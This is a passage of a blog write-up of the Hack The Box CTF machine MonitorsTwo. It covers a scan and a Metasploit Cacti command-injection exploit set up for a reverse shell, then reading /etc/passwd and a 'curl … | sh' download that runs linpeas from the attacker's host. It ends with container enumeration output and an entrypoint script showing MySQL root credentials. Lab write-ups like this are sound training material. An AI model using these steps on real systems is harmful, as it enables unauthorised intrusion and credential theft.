{"id":3037,"date":"2023-05-26T12:40:13","date_gmt":"2023-05-26T12:40:13","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3037"},"modified":"2023-09-16T10:35:15","modified_gmt":"2023-09-16T08:35:15","slug":"hack-the-box-monitorstwo-write-up","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/","title":{"rendered":"Hack The Box | MonitorsTwo | Write Up"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Hey there, Cyber Warriors! \ud83d\ude80<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Get ready for a thrilling exploration of MonitorsTwo, a remarkable CTF challenge from Hack The Box! A test of wits and cybersecurity skills, MonitorsTwo takes you on a journey full of learning and discovery. In this post, we&#8217;ll share our adventure tackling this machine, focusing on our approach and strategy. So buckle up, as we recount our exciting expedition through MonitorsTwo!<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"709\" height=\"656\" data-attachment-id=\"3038\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/image-1-5\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&amp;ssl=1\" data-orig-size=\"709,656\" data-comments-opened=\"1\" data-image-title=\"image-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?resize=709%2C656&#038;ssl=1\" alt=\"\" class=\"wp-image-3038\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?w=709&amp;ssl=1 709w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?resize=300%2C278&amp;ssl=1 300w\" sizes=\"(max-width: 709px) 100vw, 709px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<p class=\"wp-block-paragraph\">First of all we will perform a NMAP scan:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nmap -sT -n -Pn -sV -T4 -v 10.10.11.211\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After scanning the host we will receive the next result:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT      STATE    SERVICE          VERSION\n22\/tcp    open     ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)\n80\/tcp    open     http             nginx 1.18.0 (Ubuntu)\n1042\/tcp  filtered afrog\n1076\/tcp  filtered sns_credit\n1864\/tcp  filtered paradym-31\n9111\/tcp  filtered DragonIDSConsole\n9929\/tcp  filtered nping-echo\n16992\/tcp filtered amt-soap-http\n32776\/tcp filtered sometimes-rpc15\n62078\/tcp filtered iphone-sync\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see the machine has different services but we will check the \u201cnginx\u201d service to see which APP is running in the server:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img data-recalc-dims=\"1\" decoding=\"async\" data-attachment-id=\"3039\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1.png?fit=1218%2C814&amp;ssl=1\" data-orig-size=\"1218,814\" data-comments-opened=\"1\" data-image-title=\"Untitled-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1.png?fit=800%2C535&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1.png?resize=800%2C534&#038;ssl=1\" alt=\"\" class=\"wp-image-3039\" style=\"width:840px;height:561px\" width=\"800\" height=\"534\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1.png?w=1218&amp;ssl=1 1218w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1.png?resize=768%2C513&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We will see some APP named \u201cThe Cacti Group\u201d, now we need to search information about the version and also about this APP to know which is the functionality:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img data-recalc-dims=\"1\" decoding=\"async\" data-attachment-id=\"3040\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-1-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?fit=1792%2C1154&amp;ssl=1\" data-orig-size=\"1792,1154\" data-comments-opened=\"1\" data-image-title=\"Untitled-1-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?fit=800%2C515&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?resize=800%2C514&#038;ssl=1\" alt=\"\" class=\"wp-image-3040\" style=\"width:840px;height:540px\" width=\"800\" height=\"514\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?w=1792&amp;ssl=1 1792w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?resize=300%2C193&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?resize=768%2C495&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?resize=1536%2C989&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-1-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We found a possible vulnerability in the version that is installed but we will look for some exploit in \u201cMetasploit\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>search cacti<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"165\" data-attachment-id=\"3041\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-2-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2-1.png?fit=1165%2C241&amp;ssl=1\" data-orig-size=\"1165,241\" data-comments-opened=\"1\" data-image-title=\"Untitled-2-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2-1.png?fit=800%2C165&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2-1.png?resize=800%2C165&#038;ssl=1\" alt=\"\" class=\"wp-image-3041\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2-1.png?w=1165&amp;ssl=1 1165w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2-1.png?resize=300%2C62&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2-1.png?resize=768%2C159&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We will check this exploit \u201cexploit\/linux\/http\/cacti_unauthenticated_cmd_injection\u201d to try to obtain a reverse shell but before doing that we will see more information about this exploit:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show options<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"421\" data-attachment-id=\"3042\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-3-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3-1.png?fit=1456%2C766&amp;ssl=1\" data-orig-size=\"1456,766\" data-comments-opened=\"1\" data-image-title=\"Untitled-3-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3-1.png?fit=800%2C421&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3-1.png?resize=800%2C421&#038;ssl=1\" alt=\"\" class=\"wp-image-3042\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3-1.png?w=1456&amp;ssl=1 1456w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3-1.png?resize=300%2C158&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3-1.png?resize=768%2C404&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we will to configure some of these parameters:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set RHOSTS 10.10.11.211\nset RPORT 80\nset SRVHOST 10.10.16.56\nset LHOST 10.10.16.56\nset LPORT 443\nset target 0\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"416\" data-attachment-id=\"3043\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-4-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4-1.png?fit=1456%2C757&amp;ssl=1\" data-orig-size=\"1456,757\" data-comments-opened=\"1\" data-image-title=\"Untitled-4-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4-1.png?fit=800%2C416&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4-1.png?resize=800%2C416&#038;ssl=1\" alt=\"\" class=\"wp-image-3043\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4-1.png?w=1456&amp;ssl=1 1456w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4-1.png?resize=300%2C156&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4-1.png?resize=768%2C399&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can exploit the vulnerability and we will receive a reverse shell:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"216\" data-attachment-id=\"3044\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-5-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5-1.png?fit=1042%2C281&amp;ssl=1\" data-orig-size=\"1042,281\" data-comments-opened=\"1\" data-image-title=\"Untitled-5-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5-1.png?fit=800%2C216&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5-1.png?resize=800%2C216&#038;ssl=1\" alt=\"\" class=\"wp-image-3044\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5-1.png?w=1042&amp;ssl=1 1042w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5-1.png?resize=300%2C81&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5-1.png?resize=768%2C207&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we need to enumerate to discover more information to try to gain the user access:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/etc\/passwd\n\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will see the first hint to know we are into a container (the name of our IP):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/etc\/hosts\n\n127.0.0.1       localhost\n::1     localhost ip6-localhost ip6-loopback\nfe00::0 ip6-localnet\nff00::0 ip6-mcastprefix\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n172.19.0.3      50bca5e748b0<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we will use the script \u201c<a href=\"http:\/\/Linpeas.sh\">Linpeas.sh<\/a>\u201d to enumerate our machine. To do that we need to download the last release of the script:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -L &lt;https:\/\/github.com\/carlospolop\/PEASS-ng\/releases\/latest\/download\/linpeas.sh&gt; &gt;&gt; linpeas.sh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that we will turn on an HTTP server with python to provide this script into our objective:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 -m http.server 80<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Once we have our server, we will download the \u201c<a href=\"http:\/\/Linpeas.sh\">Linpeas.sh<\/a>\u201d script remotely through our reverse shell:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl 10.10.16.56\/linpeas.sh | sh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Apparently we are into a container with docker technology. We know this information because \u201c<a href=\"http:\/\/Linpeas.sh\">Linpeas.sh<\/a>\u201d gathered information to say that:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>                                                                                                                                                                                       \n\n                                   \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Container \u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550                                                                                                                                                   \n                                   \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d                                                                                                                                                                                      \n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Container related tools present (if any):\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Am I Containered?                                                                                                                                                                                                        \n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Container details                                                                                                                                                                                                        \n\u2550\u2563 Is this a container? ........... docker                                                                                                                                                                                            \n\u2550\u2563 Any running containers? ........ No\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Docker Container details                                                                                                                                                                                                 \n\u2550\u2563 Am I inside Docker group ....... No                                                                                                                                                                                                \n\u2550\u2563 Looking and enumerating Docker Sockets (if any):\n\u2550\u2563 Docker version ................. Not Found                                                                                                                                                                                         \n\u2550\u2563 Vulnerable to CVE-2019-5736 .... Not Found                                                                                                                                                                                         \n\u2550\u2563 Vulnerable to CVE-2019-13139 ... Not Found                                                                                                                                                                                         \n\u2550\u2563 Rootless Docker? ............... No                                                                                                                                                                                                \n\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Container &amp; breakout enumeration\n\u255a &lt;https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation\/docker-breakout&gt;                                                                                                                                                    \n\u2550\u2563 Container ID ................... 50bca5e748b0\u2550\u2563 Container Full ID .............. 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e                                                                                  \n\u2550\u2563 Seccomp enabled? ............... enabled\n\u2550\u2563 AppArmor profile? .............. docker-default (enforce)\n\u2550\u2563 User proc namespace? ........... enabled         0          0 4294967295\n\u2550\u2563 Vulnerable to CVE-2019-5021 .... No\n                                                                                                                                                                                                                                      \n\u2550\u2550\u2563 Breakout via mounts\n\u255a &lt;https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation\/docker-breakout\/docker-breakout-privilege-escalation\/sensitive-mounts&gt;                                                                                              \n\u2550\u2563 \/proc mounted? ................. No                                                                                                                                                                                                \n\u2550\u2563 \/dev mounted? .................. No                                                                                                                                                                                                \n\u2550\u2563 Run ushare ..................... No                                                                                                                                                                                                \n\u2550\u2563 release_agent breakout 1........ No                                                                                                                                                                                                \n\u2550\u2563 release_agent breakout 2........ No                                                                                                                                                                                                \n\u2550\u2563 core_pattern breakout .......... No                                                                                                                                                                                                \n\u2550\u2563 binfmt_misc breakout ........... No                                                                                                                                                                                                \n\u2550\u2563 uevent_helper breakout ......... No                                                                                                                                                                                                \n\u2550\u2563 is modprobe present ............ No                                                                                                                                                                                                \n\u2550\u2563 DoS via panic_on_oom ........... No                                                                                                                                                                                                \n\u2550\u2563 DoS via panic_sys_fs ........... No                                                                                                                                                                                                \n\u2550\u2563 DoS via sysreq_trigger_dos ..... No                                                                                                                                                                                                \n\u2550\u2563 \/proc\/config.gz readable ....... No                                                                                                                                                                                                \n\u2550\u2563 \/proc\/sched_debug readable ..... Yes                                                                                                                                                                                               \n\u2550\u2563 \/proc\/*\/mountinfo readable ..... No\n\u2550\u2563 \/sys\/kernel\/security present ... Yes                                                                                                                                                                                               \n\u2550\u2563 \/sys\/kernel\/security writable .. No<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Also we have the next information about the Files Mounted:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Interesting Files Mounted\noverlay on \/ type overlay (rw,relatime,lowerdir=\/var\/lib\/docker\/overlay2\/l\/4Z77R4WYM6X4BLW7GXAJOAA4SJ:\/var\/lib\/docker\/overlay2\/l\/Z4RNRWTZKMXNQJVSRJE4P2JYHH:\/var\/lib\/docker\/overlay2\/l\/CXAW6LQU6QOKNSSNURRN2X4JEH:\/var\/lib\/docker\/overlay2\/l\/YWNFANZGTHCUIML4WUIJ5XNBLJ:\/var\/lib\/docker\/overlay2\/l\/JWCZSRNDZSQFHPN75LVFZ7HI2O:\/var\/lib\/docker\/overlay2\/l\/DGNCSOTM6KEIXH4KZVTVQU2KC3:\/var\/lib\/docker\/overlay2\/l\/QHFZCDCLZ4G4OM2FLV6Y2O6WC6:\/var\/lib\/docker\/overlay2\/l\/K5DOR3JDWEJL62G4CATP62ONTO:\/var\/lib\/docker\/overlay2\/l\/FGHBJKAFBSAPJNSTCR6PFSQ7ER:\/var\/lib\/docker\/overlay2\/l\/PDO4KALS2ULFY6MGW73U6QRWSS:\/var\/lib\/docker\/overlay2\/l\/MGUNUZVTUDFYIRPLY5MR7KQ233:\/var\/lib\/docker\/overlay2\/l\/VNOOF2V3SPZEXZHUKR62IQBVM5:\/var\/lib\/docker\/overlay2\/l\/CDCPIX5CJTQCR4VYUUTK22RT7W:\/var\/lib\/docker\/overlay2\/l\/G4B75MXO7LXFSK4GCWDNLV6SAQ:\/var\/lib\/docker\/overlay2\/l\/FRHKWDF3YAXQ3LBLHIQGVNHGLF:\/var\/lib\/docker\/overlay2\/l\/ZDJ6SWVJF6EMHTTO3AHC3FH3LD:\/var\/lib\/docker\/overlay2\/l\/W2EMLMTMXN7ODPSLB2FTQFLWA3:\/var\/lib\/docker\/overlay2\/l\/QRABR2TMBNL577HC7DO7H2JRN2:\/var\/lib\/docker\/overlay2\/l\/7IGVGYP6R7SE3WFLYC3LOBPO4Z:\/var\/lib\/docker\/overlay2\/l\/67QPWIAFA4NXFNM6RN43EHUJ6Q,upperdir=\/var\/lib\/docker\/overlay2\/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1\/diff,workdir=\/var\/lib\/docker\/overlay2\/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1\/work,xino=off)\nproc on \/proc type proc (rw,nosuid,nodev,noexec,relatime)\ntmpfs on \/dev type tmpfs (rw,nosuid,size=65536k,mode=755)\ndevpts on \/dev\/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)\nsysfs on \/sys type sysfs (ro,nosuid,nodev,noexec,relatime)\ntmpfs on \/sys\/fs\/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)\ncgroup on \/sys\/fs\/cgroup\/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)\ncgroup on \/sys\/fs\/cgroup\/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)\ncgroup on \/sys\/fs\/cgroup\/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)\ncgroup on \/sys\/fs\/cgroup\/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)\ncgroup on \/sys\/fs\/cgroup\/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)\ncgroup on \/sys\/fs\/cgroup\/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)\ncgroup on \/sys\/fs\/cgroup\/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)\ncgroup on \/sys\/fs\/cgroup\/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)\ncgroup on \/sys\/fs\/cgroup\/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)\ncgroup on \/sys\/fs\/cgroup\/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)\ncgroup on \/sys\/fs\/cgroup\/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)\ncgroup on \/sys\/fs\/cgroup\/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)\nmqueue on \/dev\/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)\n**\/dev\/sda2 on \/entrypoint.sh type ext4 (rw,relatime)\n\/dev\/sda2 on \/etc\/resolv.conf type ext4 (rw,relatime)\n\/dev\/sda2 on \/etc\/hostname type ext4 (rw,relatime)\n\/dev\/sda2 on \/etc\/hosts type ext4 (rw,relatime)**\nshm on \/dev\/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)\nproc on \/proc\/bus type proc (ro,nosuid,nodev,noexec,relatime)\nproc on \/proc\/fs type proc (ro,nosuid,nodev,noexec,relatime)\nproc on \/proc\/irq type proc (ro,nosuid,nodev,noexec,relatime)\nproc on \/proc\/sys type proc (ro,nosuid,nodev,noexec,relatime)\nproc on \/proc\/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)\ntmpfs on \/proc\/acpi type tmpfs (ro,relatime)\ntmpfs on \/proc\/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)\ntmpfs on \/proc\/keys type tmpfs (rw,nosuid,size=65536k,mode=755)\ntmpfs on \/proc\/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)\ntmpfs on \/proc\/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)\ntmpfs on \/proc\/scsi type tmpfs (ro,relatime)\ntmpfs on \/sys\/firmware type tmpfs (ro,relatime)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Also we will find the next script. We just can read the script but nothing more:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Possible Entrypoints\n-rw-r--r-- 1 root root 648 Jan  5 11:37 \/entrypoint.sh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will investigate more the \u201c\/entrypoint.sh\u201d script to know what it does. This script give us much information. We can enumerate the Mysql service and see the internal information:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/bash\nset -ex\n\nwait-for-it db:3306 -t 300 -- echo \"database is connected\"\nif &#91;&#91; ! $(mysql --host=db --user=root --password=root cacti -e \"show tables\") =~ \"automation_devices\" ]]; then\n    mysql --host=db --user=root --password=root cacti &lt; \/var\/www\/html\/cacti.sql\n    mysql --host=db --user=root --password=root cacti -e \"UPDATE user_auth SET must_change_password='' WHERE username = 'admin'\"\n    mysql --host=db --user=root --password=root cacti -e \"SET GLOBAL time_zone = 'UTC'\"\nfi\n\nchown www-data:www-data -R \/var\/www\/html\n# first arg is `-f` or `--some-option`\nif &#91; \"${1#-}\" != \"$1\" ]; then\n        set -- apache2-foreground \"$@\"\nfi\n\nexec \"$@\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Linpeas also give to us more information about the Container Capabilites:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Container Capabilities\n\u255a &lt;https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation\/docker-breakout\/docker-breakout-privilege-escalation#capabilities-abuse-escape&gt;\n\nCurrent: cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap=eip\n\nBounding set =cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap\nAmbient set =\nCurrent IAB: 